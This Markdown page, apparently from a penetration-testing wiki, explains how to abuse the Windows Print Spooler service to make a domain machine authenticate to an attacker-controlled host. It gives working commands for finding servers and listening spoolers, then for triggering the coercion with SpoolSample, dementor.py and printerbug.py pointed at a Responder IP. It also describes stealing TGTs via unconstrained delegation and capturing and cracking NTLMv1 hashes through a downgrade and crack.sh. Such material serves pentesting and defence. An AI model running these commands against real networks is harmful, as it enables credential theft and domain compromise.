58 lines
3.7 KiB
Markdown
58 lines
3.7 KiB
Markdown
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# Printers Spooler Service abuse
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If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.
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Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
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### Finding Windows Servers on the domain
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Using Powershell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
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```bash
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Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
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```
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### Finding Spooler services listening
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Using a slightly modified @mysmartlogin's \(Vincent Le Toux's\) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
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```bash
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. .\Get-SpoolStatus.ps1
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ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
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```
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You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
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```bash
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rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
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```
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### Ask the service to authenticate against an arbitrary host
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You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
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```bash
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SpoolSample.exe <TARGET> <RESPONDERIP>
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```
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or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
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```bash
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python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
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printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
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```
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### Combining with Unconstrained Delegation
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If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it \([Pass the Ticket](pass-the-ticket.md)\).
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### NTLMv1 attack
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Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured.
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You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 112233445566778899**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.
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If you are using `responder` you could try to **use the flag `--lm`** to try to **downgrade** the **authentication**.
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_Note that for this technique the authentication must be performed using NTLMv1 \(NTLMv2 is not valid\)._
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Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** \([more info here](../ntlm/#ntlmv1-challenge)\), so using some services specially dedicated to cracking DES you will be able to crack it \(you could use [https://crack.sh/](https://crack.sh/) for example\).
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